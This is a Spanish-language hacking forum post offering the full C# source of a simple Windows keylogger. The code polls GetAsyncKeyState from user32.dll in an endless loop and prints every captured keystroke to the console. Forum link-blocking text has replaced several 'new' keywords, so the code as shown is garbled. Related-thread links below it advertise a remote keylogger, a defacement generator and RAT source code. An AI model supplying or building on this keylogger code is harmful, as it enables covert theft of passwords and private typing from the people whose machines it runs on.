Keylogger C# Simple

  • 0 Respuestas
  • 219 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Andr0z

  • *
  • Ex-Staff
  • *****
  • Mensajes: 16
  • Actividad:
    0%
  • Country: mx
  • Reputación 2
    • Yahoo Instant Messenger - Andr0z
    • Ver Perfil
    • Email

Keylogger C# Simple

  • en: Mayo 30, 2020, 05:47:22 pm
Keylogger en C#


Código: C#
  1. using System;
  2.  
  3. //Uso de Threads
  4. using System.Threading;
  5.  
  6. //Uso de la libreria para importacion de DLL
  7. using System.Runtime.InteropServices;
  8.  
  9.  
  10. namespace Keylogger
  11. {
  12.     class Program
  13.     {
  14.         //Se importa user32.dll para poder usar el metodo externo GetAsyncKeyState
  15.         [DllImport("user32.dll")]
  16.         public static extern short GetAsyncKeyState(int key);
  17.  
  18.         //Contador de espacios para dar un salto de línea despues de "n" caracteres tecleados
  19.         int contadorEspacio = 0;
  20.  
  21.         //String de almacenaje
  22.         public string caracteresTecleados = "";
  23.  
  24.  
  25.         //Este metodo detecta si una tecla dentro del rango [8,128] del codigo ASCII ha sido presionada
  26.         public void esperarTecla()
  27.         {
  28.             int tecla=0;
  29.             while(true)
  30.             {
  31.                 for(tecla=8;tecla<128;tecla++)
  32.                 {
  33.                     if (GetAsyncKeyState(tecla)==-32767)
  34.                     {
  35.                         this.mostrarTecla(tecla);
  36.                     }
  37.                 }
  38.             }
  39.            
  40.         }
  41.  
  42.  
  43.         //Recupera la tecla virual presionada y la muestra en consola
  44.         public void mostrarTecla(int keyCode)
  45.         {
  46.             switch(keyCode)
  47.             {
  48.                 case 8:
  49.                     if(!string.IsNullOrEmpty(this.caracteresTecleados))
  50.                     {
  51.                         this.caracteresTecleados = this.caracteresTecleados.Substring(0, this.caracteresTecleados.Length - 1);
  52.                     }
  53.                     break;
  54.                 case 9:
  55.                     this.caracteresTecleados = "    ";
  56.                     break;
  57.                 case 13:
  58.                     this.caracteresTecleados += " [ENTER] ";
  59.                     break;
  60.                 case 16:
  61.                     this.caracteresTecleados += " [SHIFT] ";
  62.                     break;
  63.                 case 20:
  64.                     this.caracteresTecleados += " [B_MAYUS] ";
  65.                     break;
  66.                 case 37:
  67.                     this.caracteresTecleados += " [<] ";
  68.                     break;
  69.                 case 38:
  70.                     this.caracteresTecleados += " [^] ";
  71.                     break;
  72.                 case 39:
  73.                     this.caracteresTecleados += " [>] ";
  74.                     break;
  75.                 case 40:
  76.                     this.caracteresTecleados += " [v] ";
  77.                     break;
  78.                 default:
  79.                     this.caracteresTecleados += (char)keyCode;
  80.                     break;
  81.             }
  82.             contadorEspacio++;
  83.             if(this.caracteresTecleados.Length >=1)
  84.             {
  85.                 if (contadorEspacio== 120)
  86.                 {
  87.                     Console.WriteLine();
  88.                     contadorEspacio = 0;
  89.                 }
  90.                 Console.Write(this.caracteresTecleados);
  91.                 this.caracteresTecleados = "";
  92.             }
  93.         }
  94.  
  95.         //Uso de threads para la ejecución del método "esperarTecla"
  96.         public void threadEjecucion()
  97.         {
  98.             You are not allowed to view links. Register or Login Thread(You are not allowed to view links. Register or Login ThreadStart(esperarTecla)).Start();
  99.         }
  100.  
  101.         public static void Main()
  102.         {
  103.             Program logging = You are not allowed to view links. Register or Login Program();
  104.             logging.threadEjecucion();
  105.         }
  106.     }
  107. }
  108.  
« Última modificación: Mayo 30, 2020, 05:49:54 pm por Andr0z »

 

De Keylogger Local a Remoto (VB 2008)

Iniciado por ANTRAX

Respuestas: 4
Vistas: 5671
Último mensaje Junio 19, 2013, 08:38:03 pm
por [L]ord [R]NA
Keylogger Visual Basic .NET

Iniciado por dracko.rx

Respuestas: 1
Vistas: 6325
Último mensaje Diciembre 22, 2012, 01:07:37 pm
por @NetFcruz
[C#] Creacion de un Keylogger

Iniciado por BigBear

Respuestas: 4
Vistas: 4815
Último mensaje Septiembre 10, 2014, 01:53:53 pm
por BigBear
Simple Generador Deface - Djtrueno

Iniciado por djtrueno

Respuestas: 9
Vistas: 4919
Último mensaje Febrero 03, 2014, 05:52:51 pm
por Cyb3r2876
Simple RAT [Source code ] [vb.net]

Iniciado por Réplica1

Respuestas: 4
Vistas: 5432
Último mensaje Mayo 14, 2014, 11:21:20 pm
por ANTRAX